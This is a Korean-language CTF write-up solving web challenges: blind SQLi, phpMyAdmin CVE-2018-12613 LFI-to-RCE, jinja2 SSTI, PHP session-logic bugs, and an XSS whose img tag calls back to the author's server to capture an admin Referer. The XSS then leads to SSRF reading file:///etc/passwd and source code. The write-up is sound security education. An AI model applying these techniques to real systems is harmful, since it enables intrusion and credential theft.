3rd TenDollar CTF Write up
Summary
대회명: Tendollor CTF
일정: 24 Nov, 09:00 ~ 25 Nov, 15:00 KST
대회는 개인전이었고 지인을 통해 초대 코드를 받아야 참가할 수 있다.
스코어보드는 다이나믹 스코어링 방식이었고 전체적으로 난이도가 중~상 정도 되어보였다.
문제 이름이 XSS
인 문제가 있었는데 꽤 재밌게 풀어서 풀이 작성해본다. (XSS는 마지막에)
I’m Blind Not Deaf (250pts)
웹 문제중 가장 많이 풀린 문제다.
위 코드를 보면 딱히 필터링이 없기 때문에 blind sqli
로 root
라는 계정의 비밀번호를 뽑아오면 된다.
root
계정의 비밀번호를 알아냈다. (70801f6a
)
이렇게 root
의 비밀번호를 알아내면 다음 스테이지로 이동할 수 있다.
다음 스테이지의 주소는 /phpmyadmin
이다. (사실 sqli를 하지 않고 게싱으로도 찾을 수 있었다.)
아까 알아낸 비번으로 root
계정으로 로그인해주자.
phpmyadmin
버전이 4.8.x
라는것을 알기 때문에
최근 CTF에 많이 등장한 CVE-2018-12613 (PMA 4.8.x RCE)
원데이를 이용해 공격할 수 있다.
위 블로그를 보면 RCE할 때 PHP세션을 이용하는데 해당 문제에서는 PHP세션 디렉토리가 /tmp
다.
따라서 LFI
할 때 /var/lib/php/sessions
대신 /tmp
에서 세션을 가져와야 한다.
Ninja (450pts)
Ninja문제는 jinja2 server side template injection
문제다.
ssti에 몇가지 필터 키워드가 추가된 문제며, 키워드를 피해 잘 인젝션해주면 된다.
jinja2 ssti
할때 참고하면 좋은 글이 몇 가지 있는데
여길 참고하면 좀 더 쉽게 풀 수 있다.
LinkedList – 1
LinkedList 1
는 PHP 오디팅 통해 풀 수 있는 문제다.
source.zip
을 다운받아서 압축을 풀어 index.php
를 확인해보면 PHP로 Linked list
를 구현해놨다.
그리고 php에서 error message
를 숨길 때 사용하는 @가 떡칠되어 있는데
전부다 ”로 치환하여 @를 지우고 보는게 정신건강에 좋다.
우선 우리가 목표로하는 flag가 어떤 조건일 때 출력되는지 확인해보자.
이건 flag출력 조건인데, 조건은 $_SESSION[‘link’][‘admin_only_list’]
안에
어떠한 값이든 있어야 한다는 조건이다.
아래는 우리가 아이디를 입력했을 때 $_SESSION[‘link’]
에 아이디를 넣어주는 부분이다.
그리고 아래는 Linked list
에서 리스트의 Node
를 삭제하는 부분이다.
우리가 주목할 부분은
$_SESSION['link'][$_SESSION['link']['name']."_list"] = json_encode($arr);
이 부분이다.
$_SESSION[‘link’][가입한 아이디 . ‘_list’]로 값을 넣어준다.
즉, 아이디를 admin_only
라는 이름으로 가입하고 ?p=delete&key=1
로 접속하면
$_SESSION['link']['admin_only_list']
로 어떠한 값이든 들어가 flag를 출력할 것이다.
LinkedList – 2
LinkedList - 1
문제와 같은 사이트, 같은 소스로 푸는 문제다.
아래는 LinkedList - 2
의 flag 출력 조건이다.
이번엔 $_SESSION['link'][가입한 이름 . '_tail']
의 값이 0xff
보다 크면 flag를 준다.
아래는 LinkedList에 첫 번째 Node를 넣을 때 실행하는 코드다.
우리가 주목할 부분은 $_SESSION['link'][$_SESSION['link']['name']."_tail"]++;
이 부분이다.
그냥 단순하게 생각해서 해당 세션의 값을 ++해주니까 어찌됐든 0xff
보다 커지려면 255번 이상 ++
해주면된다.
즉, http://web1.tendollar.kr:10101/?p=insert_first&value=1
로 접근 255번 이상해주면 풀린다.
XSS
먼저 사이트에 접속하면 search, signin, contact 이렇게 3가지 기능이 있다.
여기서 search하고 signin 기능은 장식이고 contact 기능만 정상적으로 작동한다.
contact에서 email
과 content
를 작성해서 보내면 어드민이 내 글을 읽고, 해당 부분에서 XSS
가 발생한다.
여기서 XSS
가 발생한다는 사실은 아래와 같은 방법으로 알 수 있다.
우선 내 서버에서 nc -lnk -p 8080
명령어를 통해 8080으로 nc를 열어주고 contact에서
<img src="http://withphp.com:8080">
를 보낸 후 기다리면 아래와 같이 어드민이 접속한다.
여기서 주목할 점은 어드민의 Referer
부분이다.
Referer
은 사이트 방문객이 어떤 경로로 자신의 사이트에 방문했는지 알아볼 때 사용하는 HTTP 헤더다.
http://localhost/archiver?url=http://localhost/admin?_id=admin&_pw=admin123^__^
로 되어 있으니
어드민이 해당 주소에서 내 글을 봤다고 볼 수 있겠다.
http://web1.tendollar.kr:10102/archiver?url=
로 이동해보자.
대충 보니 url 파라미터에서 LFI나 SSRF가 터질 거 같다.
file:///etc/passwd
를 입력해보면 정말로 passwd
파일이 읽히는걸 확인할 수 있다.
여기서 file:///proc/self/cwd/main.py
를 읽으면 source leak
을 할 수 있다.
나는 main.py
나 mydb.db
에 플래그가 있을 줄 알았으나 확인해보니 없었다.
그럼 여기서 우리가 주목할 부분은 render_template_string(result)
이 부분이다.
render_template_string
와 같은 렌더링 함수는 {{
와 }}
로 감싸진 부분을 jinja2
로 넘겨준다.
즉, {{1}}
와 같이 보내면 server side template injection
이 가능하다는 얘기다.
이제 email
이나 contents
부분에 템플릿 인젝션 페이로드를 넣어서 보내주고
http://web1.tendollar.kr:10102/admin?_id=admin&_pw=admin123^__^
로 접속해서 확인하면 된다.
셀레니움 봇이 돌고 있으므로 아래와 같은 스크립트를 돌려놓고 들어가는게 편하다.